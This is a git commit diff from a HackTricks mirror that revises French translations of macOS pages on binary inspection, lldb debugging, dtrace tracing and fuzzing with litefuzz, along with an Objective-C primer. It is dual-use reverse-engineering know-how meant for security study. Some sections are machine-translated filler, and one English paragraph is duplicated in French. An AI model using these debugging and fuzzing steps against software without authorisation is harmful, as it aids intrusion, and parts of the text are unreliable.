Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

Browse source
This commit is contained in:
Translator 2023-09-11 15:55:30 +00:00
parent ef29212a79
commit c8c9c43004
6 changed files with 486 additions and 467 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

90
macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
View file

@ -21,43 +21,20 @@ otool -tv /bin/ps #Decompile application
```
### objdump
`objdump` est un outil de débogage et d'inspection de fichiers binaires sur macOS. Il permet d'analyser les fichiers exécutables, les bibliothèques partagées et les fichiers d'objets pour obtenir des informations détaillées sur leur structure interne.
L'utilisation de `objdump` peut être utile dans le cadre de l'analyse de logiciels malveillants ou de l'audit de sécurité, car il permet de visualiser le contenu des fichiers binaires, y compris les sections, les symboles, les instructions assembleur et les adresses mémoire.
Voici quelques exemples d'utilisation courante de `objdump` :
- Afficher les informations d'en-tête d'un fichier binaire :
```
$ objdump -h fichier_binaire
```
- Afficher les symboles d'un fichier binaire :
```
$ objdump -t fichier_binaire
```
- Désassembler un fichier binaire pour afficher le code assembleur :
```
$ objdump -d fichier_binaire
```
- Extraire les chaînes de caractères d'un fichier binaire :
```
$ objdump -s fichier_binaire
```
`objdump` est un outil puissant pour l'analyse de fichiers binaires sur macOS. Il peut être utilisé pour comprendre le fonctionnement interne des applications, détecter les vulnérabilités potentielles et effectuer des tâches de débogage avancées.
{% code overflow="wrap" %}
```bash
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
objdump -m -h /bin/ls # Get headers information
objdump -m --syms /bin/ls # Check if the symbol table exists to get function names
objdump -m --full-contents /bin/ls # Dump every section
objdump -d /bin/ls # Dissasemble the binary
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
```
{% endcode %}
### jtool2
L'outil peut être utilisé comme un **remplacement** pour **codesign**, **otool** et **objdump**, et offre quelques fonctionnalités supplémentaires.
L'outil peut être utilisé comme un **remplacement** pour **codesign**, **otool**, et **objdump**, et offre quelques fonctionnalités supplémentaires. [**Téléchargez-le ici**](http://www.newosxbook.com/tools/jtool.html).
```bash
# Install
brew install --cask jtool2
@ -70,21 +47,18 @@ jtool2 -D /bin/ls # Decompile binary
# Get signature information
ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator
```
### Codesign
La commande `codesign` est utilisée pour signer numériquement les applications macOS, ce qui garantit leur authenticité et leur intégrité. La signature numérique est une mesure de sécurité importante pour empêcher les applications malveillantes d'être exécutées sur un système.
La commande `codesign` est utilisée pour signer numériquement les applications macOS afin de garantir leur authenticité et leur intégrité. La signature numérique est une mesure de sécurité qui permet de vérifier l'identité de l'éditeur de l'application et de détecter toute modification non autorisée du code.
La commande `codesign` peut être utilisée pour inspecter les signatures numériques des applications macOS, ainsi que pour vérifier si une application a été altérée ou modifiée depuis sa signature. Elle peut également être utilisée pour ajouter, supprimer ou remplacer des signatures numériques sur les applications.
La commande `codesign` peut être utilisée pour inspecter les signatures numériques des applications macOS, ainsi que pour ajouter, supprimer ou modifier des signatures. Elle peut également être utilisée pour vérifier si une application a été signée correctement et si elle a été altérée depuis sa signature.
Lors de l'inspection d'une signature numérique avec `codesign`, vous pouvez obtenir des informations telles que le certificat utilisé pour signer l'application, la date de signature, les identifiants de l'émetteur et du sujet, ainsi que d'autres détails liés à la signature.
L'inspection des signatures numériques des applications peut être utile pour détecter les applications malveillantes ou non signées. En examinant les informations de signature, vous pouvez vérifier si l'application provient d'un développeur de confiance et si elle a été modifiée depuis sa signature.
La commande `codesign` peut également être utilisée pour vérifier si une application a été modifiée depuis sa signature en utilisant l'option `--verify`. Cela permet de détecter toute altération ou modification de l'application après sa signature.
La commande `codesign` peut également être utilisée pour inspecter les entitlements d'une application, qui sont des autorisations spécifiques accordées à une application pour accéder à certaines fonctionnalités ou ressources du système. L'inspection des entitlements peut aider à identifier les autorisations excessives ou non autorisées accordées à une application.
En utilisant `codesign`, vous pouvez également ajouter, supprimer ou remplacer des signatures numériques sur les applications. Cela peut être utile dans le cas où vous souhaitez modifier ou mettre à jour la signature d'une application existante.
En résumé, la commande `codesign` est un outil essentiel pour inspecter, vérifier et gérer les signatures numériques des applications macOS, garantissant ainsi leur authenticité et leur intégrité.
En résumé, la commande `codesign` est un outil puissant pour inspecter, gérer et vérifier les signatures numériques des applications macOS, ainsi que pour examiner les entitlements associés à ces applications. Elle joue un rôle essentiel dans le renforcement de la sécurité des applications macOS et dans la prévention de l'exécution de code malveillant.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -130,17 +104,15 @@ Vous pouvez obtenir ces informations en utilisant [**class-dump**](https://githu
```bash
class-dump Kindle.app
```
Notez que ces noms peuvent être obscurcis pour rendre la rétro-ingénierie du binaire plus difficile.
#### Appel de fonction
Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé, au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Ce dernier appellera la fonction finale :
Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé, au lieu d'appeler directement cette fonction, appellera **`objc_msgSend`**. Cela appellera ensuite la fonction finale :
![](<../../../.gitbook/assets/image (560).png>)
Les paramètres que cette fonction attend sont les suivants :
* Le premier paramètre (**self**) est "un pointeur qui pointe vers l'**instance de la classe qui doit recevoir le message**". En d'autres termes, il s'agit de l'objet sur lequel la méthode est invoquée. Si la méthode est une méthode de classe, il s'agira d'une instance de l'objet de classe (dans son ensemble), tandis que pour une méthode d'instance, self pointera vers une instance instanciée de la classe en tant qu'objet.
* Le premier paramètre (**self**) est "un pointeur qui pointe vers l'**instance de la classe qui doit recevoir le message**". En d'autres termes, il s'agit de l'objet sur lequel la méthode est invoquée. Si la méthode est une méthode de classe, il s'agira d'une instance de l'objet de la classe (dans son ensemble), tandis que pour une méthode d'instance, self pointera vers une instance instanciée de la classe en tant qu'objet.
* Le deuxième paramètre (**op**) est "le sélecteur de la méthode qui gère le message". Encore une fois, plus simplement, il s'agit simplement du **nom de la méthode**.
* Les paramètres restants sont toutes les **valeurs requises par la méthode** (op).
@ -149,16 +121,16 @@ Les paramètres que cette fonction attend sont les suivants :
| **1er argument** | **rdi** | **self : objet sur lequel la méthode est invoquée** |
| **2e argument** | **rsi** | **op : nom de la méthode** |
| **3e argument** | **rdx** | **1er argument de la méthode** |
| **4e argument** | **rcx** | **2e argument de la méthode** |
| **5e argument** | **r8** | **3e argument de la méthode** |
| **6e argument** | **r9** | **4e argument de la méthode** |
| **7e+ argument** | <p><strong>rsp+</strong><br><strong>(sur la pile)</strong></p> | **5e+ argument de la méthode** |
| **4e argument** | **rcx** | **2e argument de la méthode** |
| **5e argument** | **r8** | **3e argument de la méthode** |
| **6e argument** | **r9** | **4e argument de la méthode** |
| **7e+ argument** | <p><strong>rsp+</strong><br><strong>(sur la pile)</strong></p> | **5e+ argument de la méthode** |
### Swift
Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations à l'aide de [class-dump](https://github.com/nygard/class-dump/), mais pas toujours.
Avec les binaires Swift, étant donné qu'il y a une compatibilité Objective-C, il est parfois possible d'extraire des déclarations à l'aide de [class-dump](https://github.com/nygard/class-dump/), mais pas toujours.
Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
Avec les lignes de commande **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -210,7 +182,7 @@ En cliquant avec le bouton droit sur un objet de code, vous pouvez voir les **r
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
De plus, dans la **partie inférieure du panneau central, vous pouvez écrire des commandes python**.
De plus, dans la **partie inférieure centrale, vous pouvez écrire des commandes python**.
#### Panneau de droite
@ -266,23 +238,19 @@ In this section, we will explore various techniques for inspecting, debugging, a
## Inspecting MacOS Apps
Inspecting MacOS apps involves analyzing the binary code and resources of an application to understand its inner workings. This can be done using tools like `otool`, `class-dump`, and `Hopper Disassembler`. These tools allow us to examine the app's executable file, libraries, and frameworks, and gain insights into its functionality and potential vulnerabilities.
Inspecting MacOS apps involves analyzing the binary code and resources of an application to understand its inner workings. This can be done using tools like `otool`, `class-dump`, and `Hopper Disassembler`. These tools allow us to examine the app's executable file, libraries, and frameworks, and extract useful information such as function names, class structures, and API calls.
## Debugging MacOS Apps
Debugging MacOS apps involves analyzing the runtime behavior of an application to identify and fix bugs or security issues. The `lldb` debugger is a powerful tool for debugging MacOS apps. It allows us to set breakpoints, inspect variables, and step through the code to understand how the application behaves under different conditions.
Debugging MacOS apps involves analyzing the runtime behavior of an application to identify and fix bugs or vulnerabilities. The most commonly used debugger for MacOS is `lldb`, which provides a command-line interface for interacting with the application's execution environment. With `lldb`, we can set breakpoints, inspect variables, and step through the code to understand how the application behaves.
## Fuzzing MacOS Apps
Fuzzing is a technique used to discover vulnerabilities in software by providing unexpected or malformed inputs. Fuzzing MacOS apps involves generating and feeding random or mutated inputs to an application to trigger crashes or unexpected behavior. Tools like `AFL` (American Fuzzy Lop) and `honggfuzz` are commonly used for fuzzing MacOS apps.
Fuzzing is a technique used to discover vulnerabilities in software by providing unexpected or malformed inputs. For MacOS apps, we can use tools like `AFL` (American Fuzzy Lop) and `honggfuzz` to perform fuzzing. These tools generate a large number of test cases with random or mutated inputs and monitor the application's behavior for crashes or unexpected outputs. Fuzzing can help uncover memory corruption issues, logic flaws, and other security vulnerabilities.
## Conclusion
Inspecting, debugging, and fuzzing MacOS apps are crucial steps in the process of identifying and mitigating security vulnerabilities. By understanding the inner workings of an application and analyzing its runtime behavior, we can uncover potential weaknesses and improve the overall security of MacOS apps.
---
* script
Inspecting, debugging, and fuzzing MacOS apps are crucial steps in the process of identifying and mitigating security vulnerabilities. By understanding the inner workings of an application, analyzing its runtime behavior, and testing it with unexpected inputs, we can uncover potential weaknesses and improve the overall security of MacOS applications.
```bash
syscall:::entry
/pid == $1/
@ -377,10 +345,10 @@ lldb -n malware.bin --waitfor
| **x/s \<reg/adresse mémoire>** | Affiche la mémoire sous forme de chaîne terminée par un caractère nul. |
| **x/i \<reg/adresse mémoire>** | Affiche la mémoire sous forme d'instruction d'assemblage. |
| **x/b \<reg/adresse mémoire>** | Affiche la mémoire sous forme d'octet. |
| **print object (po)** | <p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple renvoient des objets et doivent donc être affichées via la commande "print object" (po). Si po ne produit pas de sortie significative, utilisez <code>x/b</code></p> |
| **print object (po)** | <p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple renvoient des objets et doivent donc être affichées via la commande "print object" (po). Si po ne produit pas une sortie significative, utilisez <code>x/b</code></p> |
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse</p> |
| **disassembly** | <p>dis #Désassemble la fonction en cours<br>dis -c 6 #Désassemble 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # De l'une à l'autre<br>dis -p -c 4 # Commence à l'adresse actuelle de désassemblage</p> |
| **parray** | parray 3 (char \*\*)$x1 # Vérifiez le tableau de 3 composants dans le registre x1 |
| **disassembly** | <p>dis #Désassembler la fonction en cours<br>dis -c 6 #Désassembler 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # De l'une à l'autre adresse<br>dis -p -c 4 #Commencer à l'adresse actuelle de désassemblage</p> |
| **parray** | parray 3 (char \*\*)$x1 #Vérifier le tableau de 3 composants dans le registre x1 |
{% hint style="info" %}
Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul ("C"). Pour afficher le nom via lldb, faites :
@ -481,7 +449,7 @@ Fonctionne pour les outils en ligne de commande
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Il fonctionne "**juste"** avec les outils GUI de macOS. Notez que certaines applications macOS ont des exigences spécifiques telles que des noms de fichiers uniques, la bonne extension, la nécessité de lire les fichiers à partir du sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Il fonctionne "**simplement"** avec les outils GUI de macOS. Notez que certaines applications macOS ont des exigences spécifiques telles que des noms de fichiers uniques, la bonne extension, la nécessité de lire les fichiers à partir du sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Quelques exemples :
@ -528,8 +496,8 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

130
macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
View file

@ -1,3 +1,17 @@
# macOS Objective-C
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Objective-C
{% hint style="danger" %}
@ -14,9 +28,9 @@ class-dump Kindle.app
```
Notez que ces noms peuvent être obscurcis pour rendre la rétro-ingénierie du binaire plus difficile.
## Classes, méthodes et objets
## Classes, Méthodes et Objets
### Interface, propriétés et méthodes
### Interface, Propriétés et Méthodes
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -38,18 +52,18 @@ Notez que ces noms peuvent être obscurcis pour rendre la rétro-ingénierie du
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **Objet et Appel de Méthode**
Pour créer une instance d'une classe, la méthode **`alloc`** est appelée, ce qui **alloue de la mémoire** pour chaque **propriété** et **initialise à zéro** ces allocations. Ensuite, **`init`** est appelé, ce qui **initialise les propriétés** aux **valeurs requises**.
Pour créer une instance d'une classe, la méthode **`alloc`** est appelée, ce qui **alloue de la mémoire** pour chaque **propriété** et **initialise** ces allocations à zéro. Ensuite, **`init`** est appelée, ce qui **initialise les propriétés** aux **valeurs requises**.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -63,13 +77,13 @@ MyVehicle *newVehicle = [MyVehicle new];
```
### **Méthodes de classe**
Les méthodes de classe sont définies avec le **signe plus** (+) et non le trait d'union (-) utilisé avec les méthodes d'instance. Comme la méthode de classe **`stringWithString`** de la classe **NSString**:
Les méthodes de classe sont définies avec le **signe plus** (+) et non le tiret (-) utilisé avec les méthodes d'instance. Par exemple, la méthode de classe **`stringWithString`** de la classe **NSString** :
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
Pour **définir** et **obtenir** des propriétés, vous pouvez le faire avec une **notation pointée** ou comme si vous appeliez une **méthode** :
Pour **définir** et **obtenir** des propriétés, vous pouvez le faire avec une **notation pointée** ou comme si vous **appeliez une méthode** :
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -81,11 +95,11 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **Variables d'instance**
En alternative aux méthodes setter et getter, vous pouvez utiliser des variables d'instance. Ces variables ont le même nom que les propriétés, mais commencent par un "\_":
Alternativement aux méthodes setter et getter, vous pouvez utiliser des variables d'instance. Ces variables ont le même nom que les propriétés, mais commencent par un "\_":
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### Protocoles
@ -102,7 +116,11 @@ Il existe 2 types de méthodes : **obligatoires** et **optionnelles**. Par **dé
- (void) method3; //optional
@end
```
### Tout ensemble
### Tous ensemble
In this chapter, we will cover some basic concepts of Objective-C programming language that are relevant to macOS security and privilege escalation. Objective-C is the primary programming language used for macOS and iOS development. Understanding these concepts will help us in analyzing and exploiting vulnerabilities in macOS applications.
Dans ce chapitre, nous aborderons quelques concepts de base du langage de programmation Objective-C qui sont pertinents pour la sécurité et l'escalade des privilèges sur macOS. Objective-C est le langage de programmation principal utilisé pour le développement de macOS et iOS. Comprendre ces concepts nous aidera à analyser et exploiter les vulnérabilités des applications macOS.
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -128,33 +146,33 @@ Il existe 2 types de méthodes : **obligatoires** et **optionnelles**. Par **dé
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### Classes de base
#### Chaîne de caractères
#### String
{% code overflow="wrap" %}
```objectivec
@ -163,9 +181,7 @@ NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
{% endcode %}
Les classes de base sont **immuables**, donc pour ajouter une chaîne de caractères à une chaîne existante, **une nouvelle NSString doit être créée**.
Les classes de base sont **immuables**, donc pour ajouter une chaîne de caractères à une chaîne existante, un **nouvel NSString doit être créé**.
{% code overflow="wrap" %}
```objectivec
@ -173,7 +189,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
```
{% endcode %}
Ou vous pouvez également utiliser une classe de chaîne **mutable** :
Ou vous pouvez également utiliser une classe de chaîne **mutable** :
{% code overflow="wrap" %}
```objectivec
@ -186,7 +202,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
```
{% endcode %}
#### Nombre
#### Numéro
{% code overflow="wrap" %}
```objectivec
@ -224,11 +240,11 @@ NSMutableArray *mutColorsArray = [NSMutableArray array];
[mutColorsArray addObject:@"yellow"];
[mutColorsArray replaceObjectAtIndex:0 withObject:@"purple"];
// Sets
// Inmutable Sets
NSSet *fruitsSet1 = [NSSet setWithObjects:@"apple", @"banana", @"orange", nil];
NSSet *fruitsSet2 = [NSSet setWithArray:@[@"apple", @"banana", @"orange"]];
// Inmutable sets
// Mutable sets
NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @"orange", nil];
[mutFruitsSet addObject:@"grape"];
[mutFruitsSet removeObject:@"apple"];
@ -236,18 +252,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -255,45 +271,43 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
{% endcode %}
### Blocs
Les blocs sont des **fonctions qui se comportent comme des objets** et peuvent donc être passés en paramètre de fonctions ou **stockés** dans des **tableaux** ou des **dictionnaires**. De plus, ils peuvent **représenter une valeur s'ils sont donnés des valeurs**, ce qui est similaire aux lambdas.
Les blocs sont des **fonctions qui se comportent comme des objets**, de sorte qu'ils peuvent être transmis à des fonctions ou **stockés** dans des **tableaux** ou des **dictionnaires**. De plus, ils peuvent **représenter une valeur s'ils sont donnés des valeurs**, ce qui est similaire aux lambdas.
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
int (^suma)(int, int) = ^(int a, int b){
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
{% endcode %}
Il est également possible de **définir un type de bloc à utiliser en tant que paramètre** dans les fonctions :
Il est également possible de **définir un type de bloc à utiliser comme paramètre** dans les fonctions :
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Fichiers
@ -305,27 +319,27 @@ NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
{% endcode %}
Il est également possible de gérer les fichiers **en utilisant des objets `NSURL` au lieu d'objets `NSString`**. Les noms des méthodes sont similaires, mais **avec `URL` au lieu de `Path`**.
Il est également possible de gérer les fichiers en utilisant des objets `NSURL` au lieu d'objets `NSString`. Les noms des méthodes sont similaires, mais avec `URL` au lieu de `Path`.
```objectivec
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
@ -344,10 +358,10 @@ NSString* tmp = @"something temporary";
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

12
macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
View file

@ -142,12 +142,12 @@ Il existe environ **50 types différents de commandes de chargement** que le sys
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
